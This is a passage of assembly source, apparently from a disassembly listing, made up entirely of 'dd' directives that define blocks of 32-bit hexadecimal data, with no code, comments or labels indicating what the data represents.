		dd 4CAEA5DCh, 34007DA7h, 3319EA2Ah, 0B21B5h, 84FB6A65h
		dd 5C89FDA5h, 0FE4CD01Fh, 203F608Fh, 0E7A4C3C5h, 0C0510057h
		dd 0AD8E6AFBh, 0B1007EACh, 927C5D3Fh, 395FB5h, 6EBA1F49h
		dd 0A0441DABh, 1C4CD400h, 10F86702h, 6497077Eh,	0F0087B30h
		dd 1868F752h, 652AA790h, 0CD13C89Eh, 40C0F5B0h,	0A80CDFh
		dd 0F98F96A6h, 0E1BEBDA1h, 9300B478h, 85B8A5E5h, 3B95A70Ch
		dd 0C4B70492h, 1977011h, 0B700BE69h, 245EC9E1h,	94445C3h
		dd 0AFF452BCh, 0AAF168C0h, 58244958h, 77B21F84h, 0B186003Ah
		dd 760EACCCh, 18907813h, 10B46A7Ch, 9B008933h, 62E8E640h
		dd 3F2B1C4Ah, 208F1112h, 9260611Bh, 3302C2EDh, 80EA2927h
		dd 900B76ACh, 3014FA8Bh, 4A88BDB0h, 70C76E9Bh, 0F5A13718h
		dd 34C42F5Eh, 0F1F9148Ch, 0D00EFEAh, 70CD0901h,	0EB7F152Bh
		dd 0A928B9C6h, 2E270708h, 0C74CCD71h, 294140D1h, 0DD7EEAB1h
		dd 269BFF01h, 1DDE43BCh, 9F1280EBh, 0C8AA001Ch,	0F1A1B22Eh
		dd 73C60C7h, 0D86C00DCh, 0AA433080h, 253E3FBAh,	0D0AD60E0h
		dd 0D103929Fh, 1CB966A1h, 43FC8A0h, 234A006Ah, 52A410CBh
		dd 0B5038A6Fh, 969ADB70h, 3A90028h, 9C64766Dh, 0AE18F4D9h
		dd 0DF18B8E5h, 26F30CBh, 41F3BE60h, 71D94B30h, 4C6972F8h
		dd 3E71837Ah, 0F80531h,	0D8DF0FBBh, 0EA68DEF0h,	893258h
		dd 113AF1A6h, 845DB2h, 59C7DD6Eh, 1768B40Fh, 0C8956205h
		dd 0D0000CA4h, 79B36AD2h, 0CCEB540Dh, 0E8461E53h, 9BBCC0F0h
		dd 4AABDFBAh, 7C360B06h
		dd 0A091674Ch, 9EC68h, 0FC491565h, 33467628h, 54EF7F24h
		dd 0E6A8F886h, 9D2611D8h, 992A7CF5h, 0A30E8405h, 80E688E2h
		dd 6CFFEF2Dh, 0C5D21CD1h, 81604370h, 6E9B65A9h,	0C4538E8h
		dd 420E5200h, 0EE6D35BAh, 0FE2F345Dh, 47046011h, 10C0C3B0h
		dd 5BD3F3DAh, 6E8D2EBBh, 0DDBA005Dh, 309DD85Fh,	2B0726B8h
		dd 88C51562h, 409229CCh, 0E2002A8Ah, 4F81B201h,	0F0287020h
		dd 0B9E90030h, 35712D25h, 13E432DFh, 86A37500h,	1C723A3Eh
		dd 0AD081F68h, 6E568782h, 0D22A2016h, 30072DE2h, 439B26EFh
		dd 0B9D0A497h, 0FFBA3Ah, 345D4163h, 83234CBFh, 0BDB13Eh
		dd 4E46914Fh, 0C0CEE94Bh, 1387F19Ah, 0CF00C5CCh, 0B27B61BAh
		dd 0FC1FE0h, 497AC6F5h,	7728A8D9h, 0AAE4BF00h, 0F4E0CC48h
		dd 359B00CAh, 32E87BACh, 0A1005D02h, 9E2BF5ECh,	495F1h
		dd 39B3DE94h, 86CCAAEh,	80E22F3Bh, 51BCDB2Bh, 0EE9A4E19h
		dd 28E6EC7Ah, 0FCB4023Ch, 0F7650F05h, 780017D2h, 0A041F6C3h
		dd 3895A00h, 4A4EB3ECh,	0A4960070h, 0CE601090h,	8C7023AFh
		dd 6EB9BE00h, 94BA2287h, 955E003Dh, 0E6845A4Fh,	591C264Eh
		dd 0C781FF09h, 0E121CABh, 26D2B470h, 21648Ch, 0E6014027h
		dd 0B20732EBh, 95CA5007h, 0BF859E40h, 0DFB600BAh, 698765E5h
		dd 0D13B51DEh, 0C2E60F9Fh, 0FAC39C77h, 0B8CB8086h, 6227C1h
		dd 0BFABF669h, 4E7B2CDEh, 831D73F6h, 2A00D612h,	953B8E64h
		dd 0D17700A3h, 17D050DEh, 400450Dh, 0A940EECCh,	0FE46A72Ch
		dd 0EAE9019Eh, 8ED05F90h, 6025CD15h, 0F1CF519h,	45442109h
		dd 5480BE33h, 0EE9F484Eh, 0B180BC3h, 507C4ACEh,	0AADBC00h
		dd 55D4DFFh, 0DC763C9Ah, 0F10EC3CDh, 460038C6h,	0C596ECD5h
		dd 4C27A6h, 2687DA40h, 0AAC71CFFh, 0AF34EE0Eh, 700BEBBh
		dd 0D2FD522Ch, 0B21E0C08h, 4CECAEFCh, 1C644400h, 795160F3h
		dd 9D9700BAh, 5A01CE39h, 6D00DA1Fh, 0AB2EE983h,	0DCD83Fh
		dd 0E39118C8h, 1D7F8E11h, 8486D03h, 9FF817D3h, 0B813F153h
		dd 3E5F0724h, 3100EAB2h, 0F561A383h, 0D3D4C9Ch,	0FFC18096h
		dd 238D5ACAh, 0DC443BE9h, 0A69B4380h, 3465AAF8h, 0CC3FE490h
		dd 6D718E95h, 6BA6001h,	700BC891h, 0A5760078h, 75C69307h
		dd 5A3D100Eh, 2B281C56h, 20DA470Ch, 6343872h, 49D81180h
		dd 0EF29195Eh, 274ADF00h, 0E9FD2D74h, 0CD9800C4h, 518DF71Eh
		dd 0F9E0E72Ch, 0FE6C6200h, 0AA40B1B8h, 0F65F1229h, 8D1F0301h
		dd 0B0E8F822h, 7012FD3Eh, 0FACF9Bh, 255D7EDh, 43016E7Fh
		dd 0B024509Dh, 0B6E92810h, 600BF8h, 8B8E18E8h, 4ACEBDFh
		dd 9E34F400h, 1B1F5957h, 1E2E7C55h, 0A4DA98h, 87DE4413h
		dd 0E13F5BADh, 2073DCEh, 34D6947h, 0ED908027h, 0E5BE17h
		dd 0A7F9DD04h, 0F45EDE23h, 876FD100h, 0A6252AD6h, 0B52B1F07h
		dd 5685003Ah, 36D53293h, 0BDC74100h, 55EC599Ch,	0DD40403h
		dd 0C096AEDBh, 6B3FD8DFh, 9AE30F00h, 31C8D61Fh,	16720BACh
		dd 6E009584h, 5281D77Dh, 0EBBCC401h, 0BBF1CAD2h, 0FDB270h
		dd 0A839F382h, 35B6A9ADh, 5997EA50h, 6FE2D00h, 55A51783h
		dd 89740023h, 0C3BF5B85h, 0AA7C2B97h, 2807A771h, 0E36EC53Eh
		dd 0D25140B0h, 70FE00F8h, 0A16804D4h, 2800A072h, 54A4C19Fh
		dd 16D88DDBh, 4707594Fh, 20E9D000h, 0B419E6F6h,	0A8948E00h
		dd 0F284D19Ah, 0BE5B07EAh, 30BD2F86h, 6FA07A57h, 2412A801h
		dd 0E119D2B7h, 0A2AEC8h, 0D48C633Dh, 32BDCEADh,	9C034C98h
		dd 439D1785h, 49C4987Ch, 3D6A05D1h, 84BC27A8h, 3340D055h
		dd 2D008D23h, 5DB7562Ah, 0EC104Eh, 0DBC379CCh, 0A3A85CB1h
		dd 2E3A6C1Ch, 0BD5D4946h, 0AF850010h, 4B9429A5h, 0EB0E441Ch
		dd 60A7ED93h, 213C401Ah, 0D39901ADh, 3280E658h,	0B9B14020h
		dd 0C0049EEh, 0AF6F3DCBh, 9EB5F7h, 0ECFFEB35h, 2456D828h
		dd 5A479F00h, 5D845729h, 51FD3F15h, 0C7EA5B87h,	8CF24092h
		dd 54032CE1h, 0B37A574h, 4AB4E0A2h, 0FEE00A7h, 8F15BAF2h
		dd 0BD0B8485h, 80AFF5F0h, 3E9F1196h, 51370E4Ah,	4622BC69h
		dd 8480FF73h, 15FA78CAh, 802FE13Fh, 917FC899h, 2C9840h
		dd 7DD58F42h, 14F23E93h, 5F3CE6E0h, 0C837005Ah,	53E20266h
		dd 488E4C76h, 0C38E603Dh, 2764F8Ch, 0BFCB63A0h,	4522D521h
		dd 5CE020h, 0FE0C961Ah,	8C712D7h, 0A638C00Eh, 88CE201Bh
		dd 6D4D4Ch, 0D284D863h,	4F99C4B9h, 0BA046905h, 4880FD7Ah
		dd 737E168h, 927BAA03h,	0A011955h, 709FC74Eh, 9A181DB9h
		dd 0FA216CA5h, 23D7392Dh, 6E541CF0h, 0C9960075h, 1A9CDF9Ah
		dd 9557E400h, 0BF586781h, 65110005h, 0BBA50C43h, 323B503Bh
		dd 0D0C20018h, 0EC8B87A6h, 7A21005Dh, 0CA34FC4h, 6B00181Eh
		dd 2AC9EAE5h, 0F2FA6Fh,	70584781h, 391341F8h, 0D32ECF07h
		dd 29908C74h, 2C3168A6h, 1B4F1E0h, 4AC544E7h, 2BFCE832h
		dd 0C00C2F6h, 0A124AB2Ch, 7E320C4h, 5A41D057h, 0E8BE502Eh
		dd 19CAD89Dh, 0C403E0D5h, 88174A3Fh, 3047319Ah,	1E19D6A3h
		dd 64B04D4Eh, 0EA83D32Ch, 0F398033Eh, 0A8F731C0h, 0AFFB26h
		dd 41DFFE17h, 0FCD57B49h, 12914606h, 118997h, 2C1A6695h
		dd 0ADD26D21h, 0E4302BF4h, 8B67FCECh, 950F03FEh, 5E19DDA8h
		dd 4F44A1B0h, 0E954D400h, 0C4B828F8h, 9CB20056h, 2FEC3FCAh
		dd 3E3AD95Dh, 2C4980EBh, 51BAE57Fh, 58991F67h, 1AD8E0Bh
		dd 2FC700F2h, 0B3F6A207h, 0C7206905h, 0B81595Fh, 78E48A03h
		dd 0ED5800F9h, 28856AE8h, 0C727A4B5h, 7B745Ch, 0CA59FE91h
		dd 5F0030AAh, 3635B40Bh, 3E3C350h, 8B7B486Ch, 67D09019h
		dd 0BB002C14h, 51944985h, 0B52B2h, 0F6FD04E4h, 0A096794Eh
		dd 0E250C903h, 8829FCCDh, 5BFB98h, 0D46FB963h, 473A0F9Bh
		dd 0C202C03h, 0ECC7C30Bh, 0A70378D0h, 0DEB30E5Dh, 0E18061AFh
		dd 4E2401FAh, 9CF79903h, 0B098FFBFh, 25186CCh, 0A1E60E46h
		dd 42400622h, 9A010A40h, 0B807269Dh, 8404758h, 483ABE09h
		dd 0B4008041h, 0ADB90823h, 0B23BF5ECh, 0BA7A8063h, 6BD02BC0h
		dd 93BC0064h, 7D7C7F4Bh, 0E501205Ah, 3EDBA0C7h,	0AAE8318Dh
		dd 0CECA2CE8h, 4A7B3B4Ah, 3FD806B9h, 5207208Eh,	0BB65CAE6h
		dd 82F6DE40h, 67350F8Ch, 1800E9B3h, 61309D09h, 0A038AB80h
		dd 94DA20h, 2D4214DDh, 0C83F1911h, 607AF9E8h, 44200226h
		dd 9EE0B203h, 0B310FF47h, 7FBB6BDDh, 7F3D01D3h,	518B4E4h
		dd 3328C00Dh, 0E01A9E3Ch, 1961BB60h, 71490075h,	0BD5B4502h
		dd 59004216h, 84275547h, 1FE3C698h, 184334C5h, 0D8B412A5h
		dd 0D7004C77h, 9B7EE23Fh, 7FB020h, 2BEBEAACh, 0C1CDB264h
		dd 801E8A39h, 57C6C051h, 0E5ADBDh, 1FEB3ADBh, 90EBF98h
		dd 27AAFD00h, 0CC828004h, 0BA9638D3h, 1D1BD900h, 85B7DEE7h
		dd 5A004190h, 672789C2h, 21FCC55h, 0D21BE8FCh, 8858E65Eh
		dd 3D58E700h, 0A0DA4E93h, 0A84672BBh, 0EF05A0h,	0EEEC57D6h
		dd 1C7794C9h, 8543AA0Ch, 0E2532021h, 68292C02h,	0AB0902F6h
		dd 74C8388Fh, 0B00C0B7h, 2829E7EDh, 201C92h, 80ABAF72h
		dd 97670CB0h, 33DDC07h,	4F801068h, 0F99B19h, 0D01D94ECh
		dd 0C08346ABh, 0CD2C1300h, 0DFD21F8Fh, 8B33FE7h, 3968AD01h
		dd 207831DBh, 251D942Ch, 3A189B84h, 0F286C881h,	7AA000EAh
		dd 9A02DF12h, 0DA00B4D0h, 2A9FA841h, 1E8703E5h,	70647D8Ch
		dd 7F7C3141h, 96694C00h, 0B6AA42FBh, 7E94A836h,	5244180Dh
		dd 9FE5112Ah, 1FC0985Ch
		dd 83808B64h, 0BB6EDCA1h, 28E7D6Dh, 7E0CAB47h, 0F7E34441h
		dd 2A69800h, 253D3AEDh,	79A51C54h, 0AC5D0072h, 8783EBCh
		dd 9FF1C800h, 0A13D2AB1h, 7C1D4CBEh, 0F04C7003h, 57F329B7h
		dd 60A46E0h, 0CF1881E1h, 47A9F1C9h, 7B84BED0h, 5E8000FDh
		dd 4EDAECEFh, 8DCF5C6h,	6203918h, 16800158h, 695CF9CAh
		dd 5FB3D014h, 3ECA000h,	0C0ABBFCh, 0DA100666h, 58C495C6h
		dd 59472E01h, 0CE6480A7h, 0EEB40E2h, 3901E4F9h,	9E6BB15h
		dd 443F219Ch, 0E0DE00D6h, 0B9943998h, 0B7790ACh, 0BFA15170h
		dd 49CE3580h, 0A360C9FAh, 5C9464C8h, 7120C075h,	0BAC1BB81h
		dd 25DE29C7h, 5467290h,	3EB5190Ah, 0EFB2080Dh, 5C07701Dh
		dd 17A2BE43h, 5E359815h, 0CCF40078h, 4A2E56C5h,	0B4185D69h
		dd 48606A05h, 4B8929FAh, 12BF02A0h, 0B4A029FEh,	0B7BDA288h
		dd 0B23F5600h, 0CAA77F8Bh, 0AC240B39h, 0E2830137h, 9BF8DEAFh
		dd 5B019EF1h, 10036954h, 40CA398Ch, 0A7F852h, 29C79AC8h
		dd 0D2FDD0A2h, 554A190Fh, 0F302C05Bh, 73D6CB72h, 28E7E74h
		dd 0ED094982h, 6B407DEFh, 0B6003E81h, 683F6B63h, 1F8D56B8h
		dd 0C0FDA9F4h, 0CE3469A1h, 0C0009F4Eh, 0CD5CC666h, 0E4506A91h
		dd 9C650F71h, 7F22C919h, 0DEE0A381h, 700E56Ch, 0D7241208h
		dd 0ABA2EBh, 0E72D8D68h, 503C4338h, 0ED982812h,	4CF23B00h
		dd 4EF3C0h, 5BA2CF0Ah, 0AE13F1ABh, 0E53C6000h, 7DBA14D3h
		dd 410B3C70h, 0D99124h,	0E4FFF838h, 0C76EF0A9h,	0B021B808h
		dd 9AB0ED8h, 0F4A0ACFBh, 345164F3h, 760A5A3Fh, 58660E30h
		dd 0AD4121C9h, 49AFC030h, 8B04F204h, 26F99437h,	0B712018h
		dd 18A3D34Ch, 0E11144ACh, 0D12A003Fh, 78DE8F1h,	8CC38EAh
		dd 32B2104h, 0CEF2AC7h,	87EC3BF4h, 9F3240F1h, 5E009088h
		dd 70220F69h, 0F87C476Ch, 0C42C307Fh, 0A471EC18h, 48914830h
		dd 0D48541h, 0D308A74Fh, 0AB6444E0h, 80E7BFB8h,	4E2C3821h
		dd 78E3B148h, 1DE20022h, 7C463110h, 72008886h, 0D033967Bh
		dd 2D7027h, 12BCCA69h, 950D394Ch, 99002BFAh, 0CDD1C8F6h
		dd 50DA7Ah, 7916B19Eh, 9802FDA0h, 0B9557800h, 9A7FBB42h
		dd 5C8C00B8h, 698E2299h, 123CA588h, 0FFCC80D3h,	5F942079h
		dd 0B14A0018h, 51FE7802h, 4E0019C3h, 8BA22A56h,	1C8688D2h
		dd 0C218E5B5h, 7A0BF7A7h, 0EEC6A560h, 9F622200h, 2EBC39BFh
		dd 83F80F46h, 1780FAC8h, 1642F90Dh, 650092F0h, 73A4ACD6h
		dd 0C0FAD599h, 98E13118h, 0F53C6E5Dh, 1561184Dh, 386F7B31h
		dd 7BD120Fh, 610C4928h,	7BDB2853h, 3C68065Ah, 18E69189h
		dd 0DF3E58C5h, 206A30C9h, 0DF41EFE5h, 0A4AF0C28h, 2F67D79h
		dd 0FCE25F3Ah, 3AA83800h, 0D7100559h, 5E3E06A3h, 688CB1EAh
		dd 37737244h, 0C341CA8Bh, 1962467Eh, 805D6810h,	0E30BA214h
		dd 0EFC033Bh, 9E4DE674h, 779555E8h, 7358C106h, 839C78Ah
		dd 3747836Ah, 51465D0Ch, 4BEC001Ah, 6CB55C06h, 93002915h
		dd 0D6B30B6Eh, 18189E23h, 717D63C8h, 0E639B8ADh, 79C50529h
		dd 1031D68Dh, 3330E1FCh, 92880CB1h, 76206D52h, 436BB8A8h
		dd 5C8B8B82h, 3C907B9h,	0E3E00E42h, 91EBD267h, 7E901C58h
		dd 0C4FF022Ah, 19C5E518h, 0A69DEB1h, 62D703E7h,	0A11A40F8h
		dd 1E033D5Bh, 5DBC0D63h, 0CE9504Dh, 3B4B050Bh, 30DBF78Bh
		dd 56BE0744h, 5C0C5A00h, 0C9F2C3AEh, 10A77BC7h,	3EBA6535h
		dd 13A054AFh, 57E57A03h, 2CB7F6Bh, 0DB382DD9h, 0FA074766h
		dd 72039970h, 693900D8h, 0B3642FCh, 4C0C45C0h, 29706394h
		dd 50FE004Fh, 1AEB711Fh, 0C6B848F7h, 0AA7DB214h, 956A0E1Ch
		dd 768B023Ch, 82616224h, 20D2990Ch, 0B0A09268h,	0BEA5190Ah
		dd 6809047h, 4C777952h,	0C3B51D0Bh, 0DCA9C0C1h,	0EC888CD3h
		dd 8160D648h, 15C5E768h, 49643980h, 69D6D462h, 9824DC01h
		dd 3925A260h, 0F999A450h, 9BA4037Ah, 3ED8E5EDh,	4015390Ah
		dd 0DB87C4FCh, 5150992Dh, 2B7ACFFh, 0DF9BB48Ch,	988125C1h
		dd 8C42C4E5h, 0C98DAF39h, 46D0084h, 9EA32D2Bh, 1C0CD62Eh
		dd 5875DFA4h, 29D960AFh, 0EB14637Fh, 6AACEE00h,	0D71FA161h
		dd 88F50048h, 0DAE71CE1h, 7F04B502h, 3F90ED50h,	0AC72F495h
		dd 476518C4h, 8C8FE18Bh, 44790C41h, 0A2481857h,	68B1F84h
		dd 7113164h, 0E3CFF08Fh, 897DA200h, 3C2FACA7h, 38B728A4h
		dd 73652140h, 83C48A10h, 115D4646h, 20E80069h, 0BF07A697h
		dd 1F0787B5h, 0D3BE1BC2h, 0B673FF50h, 388F6069h, 315DE68h
		dd 0C383C74h, 6CDC26E4h, 1C980DE1h, 92C338F8h, 19E620D4h
		dd 3203D6B0h, 0C48164Fh, 418BF0C2h, 0D41A1FA4h,	0B098432Ch
		dd 51224F37h, 295D00E6h, 44688A83h, 1A01E76Ch, 2664487Fh
		dd 905035D2h, 0A52DAA7h, 94DB2AAAh, 259564A4h, 9C277012h
		dd 90C097C2h, 88707888h, 59813922h, 0CDDA1080h,	3C7C09D0h
		dd 1A18AD0Ch, 12222194h, 446C6083h, 80C14FE8h, 65E55D5Eh
		dd 0CBCD4A00h, 12BA4C22h, 5C8D0C5Fh, 9988020h, 84468Ah
		dd 51331B04h, 177D244Ah, 2EB41A00h, 39841490h, 119C993Dh
		dd 363000Bh, 2AAF6C81h,	75F0033Fh, 0FD549FCDh, 0C697F111h
		dd 95936800h, 24CCDA53h, 0D4128B2Ah, 3A84F049h,	0F4980FD7h
		dd 0C490A3A1h, 84B7BF2Ch, 5E374CE0h, 0AC180082h, 5BB0845h
		dd 340E03C3h, 80022287h, 969B3998h, 9DCA1EB5h, 83140036h
		dd 27205676h, 1565A718h, 6568A928h, 0C6F43046h,	82F80877h
		dd 0F14B31Eh, 2841A78Ch, 0BA18DE83h, 50A3E798h,	0B4376EBDh
		dd 0F8B318B2h, 2721E016h, 6181DBF6h, 9180BEE0h,	452FE006h
		dd 20FF6Ch, 0AA77E114h,	83602D06h, 70F7E71Fh, 17D8665Fh
		dd 881E6C99h, 5C60CAA2h, 833CF819h, 310EECE5h, 4B17BABh
		dd 70E0F21Ah, 7C009CBCh, 0FC7F750Ah, 1B16F387h,	4127A952h
		dd 0A138F1CBh, 0A5130C59h, 44737197h, 0BD681112h, 3B6018D8h
		dd 0F5D22E2Ch, 79B54440h, 0EADC051Eh, 4647F6EFh, 49148D8Ch
		dd 65003078h, 1F5A675Dh, 0A7E2BBh, 95A62BFDh, 0A4E6CAAAh
		dd 0A1709962h, 0A2A92185h, 2F7C4104h, 0B6CC4797h, 455C2199h
		dd 2A2C0173h, 35E209F8h, 0F1D44FE1h, 985106D4h,	4033636Dh
		dd 49138D30h, 64001h, 32A49E3Bh, 67ED278Ch, 0CB9B05Ch
		dd 28354C5Dh, 780352C1h, 7344F605h, 0ED8422E4h,	0A007E27h
		dd 29CE6FB9h, 8A0EFAEh,	0A29F4769h, 8E8F215Fh, 0BE718837h
		dd 54951C48h, 0FA5F9AC0h, 0AA32F9C7h, 2712B835h, 2692600Fh
		dd 0D00175F8h, 0C7BB9643h, 30F38Ah, 223890C4h, 8C30EB2Dh
		dd 0D1ED3909h, 75E5007Ch, 115E5DEFh, 0B0A49EB6h, 43487A53h
		dd 0FDE700D8h, 8438CE23h, 0F14438F8h, 42C39F81h, 0CC075E8Eh
		dd 0C8A09CDEh, 1380983Ch, 0C53601D5h, 0A2CED135h, 23F1E51Fh
		dd 4E93D10h, 544C1B8Fh,	0E81D4094h, 80A79D08h, 95D5673Eh
		dd 2518D1CBh, 1F18D376h, 0A91D652Ah, 71F119F3h,	3A08248Dh
		dd 382C11C0h, 0D4D9B145h, 2C415C98h, 5BEC9450h,	2FA11299h
		dd 89BC0CFEh, 0BB2A1140h, 0FA0014B5h, 0B47816F7h, 0A017774Ah
		dd 88EE2AACh, 0A0351114h, 0E043319Dh, 26271B1Fh, 40208D21h
		dd 5D77298Ah, 3D21AE01h, 7A757D6Fh, 3204EC6h, 18DE7BFAh
		dd 72E9F9A6h, 7F898028h, 5B6E4DD1h, 819732A2h, 0EB40DC71h
		dd 0FC1CC2B2h, 179416FEh, 801188DCh, 0A197C90Dh, 3003BFCh
		dd 0A7867518h, 61D3D61Fh, 3D9DB0E3h, 0F25C00F7h, 754B8CCh
		dd 65037D06h, 3F5940E8h
		dd 570D855Fh, 0F92BE39Dh, 263BC4Ch, 0D64369D5h,	2DE05877h
		dd 0D7005B3Fh, 76E7661Bh, 38DEF8F4h, 0F33021FDh, 0D3067EE9h
		dd 585C3B28h, 2600944h,	865BEB0Eh, 0AC64850Fh, 0C76EC104h
		dd 149915B4h, 0A6BE5C00h, 60DF7D1Eh, 81CA58AFh,	7C03BAE4h
		dd 0A942F40Dh, 1480C41Ch, 0E9398DF3h, 2B459A4h,	15D511CDh
		dd 9D52E466h, 0DAE401B0h, 50668E73h, 0F3A812FBh, 8C3821B5h
		dd 8609948Fh, 2C25006Ch, 0DA955E94h, 7DC0161h, 663DD0B0h
		dd 0D864F2B1h, 0A4693F3Dh, 0B3883816h, 82F541A6h, 0B5618036h
		dd 39CDE4E6h, 501754E2h, 0F9D3691Fh, 18A31803h,	0C898CDEAh
		dd 0A403C4DDh, 0E394644Dh, 7AF0972Ah, 2D42CA6h,	0FEB0E9EEh
		dd 0A064F412h, 43712264h, 0B81336C0h, 6CF784Eh,	0E7C370E9h
		dd 2899203Bh, 0C9F59A80h, 0F6DE22h, 0BC2829B2h,	0B635EAEDh
		dd 4D497D7Ah, 0A49D24B4h, 0B8928343h, 9859F47h,	0F22126BFh
		dd 8CF38C22h, 0E61FC891h, 9F86C88h, 0B094A79Fh,	2A01A57Eh
		dd 6F3BE3ACh, 104C19EBh, 7F0600D1h, 8B33A366h, 0FA899325h
		dd 0C1BD1B10h, 0DBD98200h, 0F11A26AEh, 304D10CBh, 3537F5Ch
		dd 0E42924B4h, 0C74C85Bh, 0C00500FAh, 97DECCAFh, 0E989E4A6h
		dd 44385213h, 4FB0009Ch, 0F5DC7968h, 206A6640h,	35226164h
		dd 91F31024h, 6C56AEh, 690B14E8h, 71905E3Eh, 0D54B030Eh
		dd 154139F1h, 8774BDC8h, 0C450CB2h, 0A61BC0h, 0C94E138Ah
		dd 0F7629A4Bh, 20D1690Bh, 4260101Eh, 7C8D4DB5h,	0CBCE1400h
		dd 0BFFFE6B2h, 2CF50340h, 1108EDF9h, 0F0A0041Eh, 80C1DFC8h
		dd 0F009EF26h, 420F77BDh, 122E43FBh, 0CD766440h, 4969E23Ch
		dd 0A23A74D3h, 0AC09B848h, 0C0812B99h, 883B45EDh, 8C1F3550h
		dd 94716E8Dh, 0A57C1100h, 88D33064h, 789D0116h,	9E93D487h
		dd 69E1CCEBh, 33669814h, 3DC611A0h, 6BA81400h, 0A594B6D8h
		dd 0E8FB8078h, 1E2921A2h, 0C608B81Ch, 0BFEF8136h, 34594F83h
		dd 0B0C28CE0h, 0A03E9D0Fh, 0DD56E7C4h, 0FC87BF2h, 93E2C232h
		dd 274D6A20h, 15245973h, 0B066D09Dh, 903A5440h,	79CF05A2h
		dd 0C35D2493h, 0FDA3D4h, 0E9F51F2Ch, 4500B6D3h,	0A6A5D443h
		dd 0FC6C48Dh, 11E8D0FDh, 1F449212h, 10D9C82Ch, 1136A0B7h
		dd 5C482289h, 7F1C31C0h, 0BC66AA0Eh, 19A9C8h, 0EAE596A8h
		dd 915A555Fh, 3178B801h, 27F750A4h, 39838C51h, 42961410h
		dd 5502E578h, 3AB51117h, 744EF7h, 37AF2269h, 0F3A688A2h
		dd 68B07F04h, 58D93831h, 3BC10C6h, 1977D0C4h, 392C3052h
		dd 53008399h, 2097188Eh, 150CD74h, 0CFB9F257h, 64403471h
		dd 0E8581EB0h, 0CD35E1C0h, 88582861h, 3889383Bh, 0E4D3D250h
		dd 7C34EBC9h, 0AF9940A6h, 99A9360h, 0C6BF86h, 6005ED35h
		dd 3B8F316Bh, 0E20E55Ch, 65D618A2h, 0B6808C5Fh,	7B34B5FAh
		dd 5F51DF57h, 29A13183h, 488D1121h, 0ABF38980h,	46F1C894h
		dd 0A410E600h, 0CBA20A0Eh, 0CFECA85Ch, 0A111177Ch, 0F888215Ah
		dd 6FBDE0C3h, 28A91540h, 0BB6C0371h, 43671F64h,	9F0E934Ah
		dd 0C5B03F83h, 0BCFEE186h, 84ADD409h, 0B82C909Eh, 0C77B38C4h
		dd 80EE7A1Eh, 891CAFF2h, 0B9F68FFCh, 0C4FE5324h, 999EF389h
		dd 0E44A26D0h, 88146910h, 0AFE08322h, 6CA3BE2Ch, 0B8501DF0h
		dd 3C60FA15h, 0AA140C5Ch, 16E53121h, 0A2AF7Ch, 0AD42134Ch
		dd 0E195C8BDh, 0BCF06791h, 1C83F67Eh, 0AC6CA397h, 3084A85Ch
		dd 5291F027h, 2D501F5Ah, 48F16508h, 69C037F4h, 0B2F28B32h
		dd 0AFFD1F63h, 3EBDC15Bh, 91863D87h, 74D41EE1h,	0E220AC0h
		dd 0D0003F11h, 24CAE0A8h, 80174827h, 29C32687h,	0D8E1728Ch
		dd 0E5B750Bh, 0F5FB9009h, 1C3AD27h, 16CC227h, 9C500A8Dh
		dd 6E571EAh, 0EBE0B5A7h, 0EC445183h, 0F10C013Dh, 63763FBBh
		dd 35A988ADh, 130A4EEh,	7479E12Fh, 7DE83219h, 10A3DD26h
		dd 2D64E048h, 9457728h,	0A59FF043h, 1314508Ch, 218BF5F7h
		dd 803C9D94h, 5F157A41h, 76303h, 3BBA2E72h, 0E0C13667h
		dd 1AA43700h, 0FF4961B1h, 0C4E09617h, 0C1212C77h, 0D92AC161h
		dd 0B8DCF042h, 44C3E903h, 1235D3FEh, 127382E8h,	0E53CD8DEh
		dd 8027EBE2h, 0DCD010D4h, 84990411h, 137E14DAh,	108A680Ah
		dd 0B225A02Ch, 1210C6C4h, 1DE830CFh, 0B74843EEh, 0A21574C9h
		dd 10A8BC6Ch, 348B518Ch, 73005C16h, 22417D43h, 230D67h
		dd 298C1045h, 61D83F12h, 90026D09h, 3590B042h, 0C7F3881Dh
		dd 89893094h, 0B8981197h, 88EE4824h, 0FE00B2B7h, 0FD758FADh
		dd 9C152F6Dh, 0DC844954h, 9EA24717h, 0EA80DCFAh, 47537343h
		dd 0E63B00FAh, 40560B94h, 0AA774CAFh, 0A02AD602h, 4450DAF1h
		dd 208D2220h, 447F143Fh, 87AA2657h, 895B0921h, 0AB30A066h
		dd 5FED3133h, 655C0138h, 0E9DBDADDh, 0A8D98579h, 50010C69h
		dd 83F5FE16h, 0DC543422h, 0A6B22511h, 6E40003Ah, 0D605C7ADh
		dd 0CF9C8BFEh, 4984F040h, 0E64AAF6h, 588AE683h,	16FF3C60h
		dd 8E3DCFA0h, 1F211333h, 20451032h, 0F73BCE11h,	4CA6AC9Eh
		dd 0B4A58h, 50E3A2DAh, 4CC6FC9Dh, 0B7524201h, 0F43A8AD6h
		dd 0D89BFEh, 8335CBD0h,	8DE7D084h, 3CFE1A07h, 14343DFBh
		dd 0BE2448h, 930ABBAFh,	3457A4Eh, 99763720h, 8B8A062Ah
		dd 6807ECCEh, 6BD9D450h, 0CC3573D2h, 8FFF0030h,	2F11CB78h
		dd 0F7005226h, 3B623509h, 697FA8AEh, 98C6D81Bh,	3F7AB200h
		dd 0A2C3CE9Ch, 84180F4Bh, 9140B0F0h, 0C220850Ch, 492BBE4h
		dd 307FC722h, 7591B49Dh, 0DA004A9Ah, 2378D117h,	0E1B0379Eh
		dd 24CA9864h, 9F41649h,	0DC9817F7h, 5209A518h, 0EA34218Ch
		dd 9534C074h, 30175D47h, 5ED8A9C0h, 4C00666Fh, 9F5BB704h
		dd 0C07F17F6h, 87C61E48h, 8314A9DBh, 0F3016C2h,	15BAAD8h
		dd 2E07AEA5h, 0E51E0C40h, 867C18DFh, 552F6120h,	0FD008AF8h
		dd 627551F5h, 0C2507Bh,	1D562A9Eh, 0D66D4822h, 0B04F149Ah
		dd 0AC0A3425h, 0B98084AAh, 0DAD3B23Ch, 132700A4h, 6F989214h
		dd 2E4F9F04h, 1B238840h, 0BA2F5DEh, 67CBDDCCh, 40E0B808h
		dd 18C0A9Bh, 32376000h,	4402B4B0h, 0D26D7EC8h, 0A05477F2h
		dd 39C3518Fh, 16E5CF00h, 7F96C279h, 8DB34084h, 952980E1h
		dd 2C50EE0Dh, 807CBB23h, 1B3D7C07h, 0D31EB192h,	0B74036C3h
		dd 1F955BE2h, 0D02D4D38h, 0AD141AC0h, 79039110h, 1CF627Bh
		dd 0E4B2DC0Dh, 41492A88h, 8C0264A8h, 10AB9C91h,	3E617E0Ch
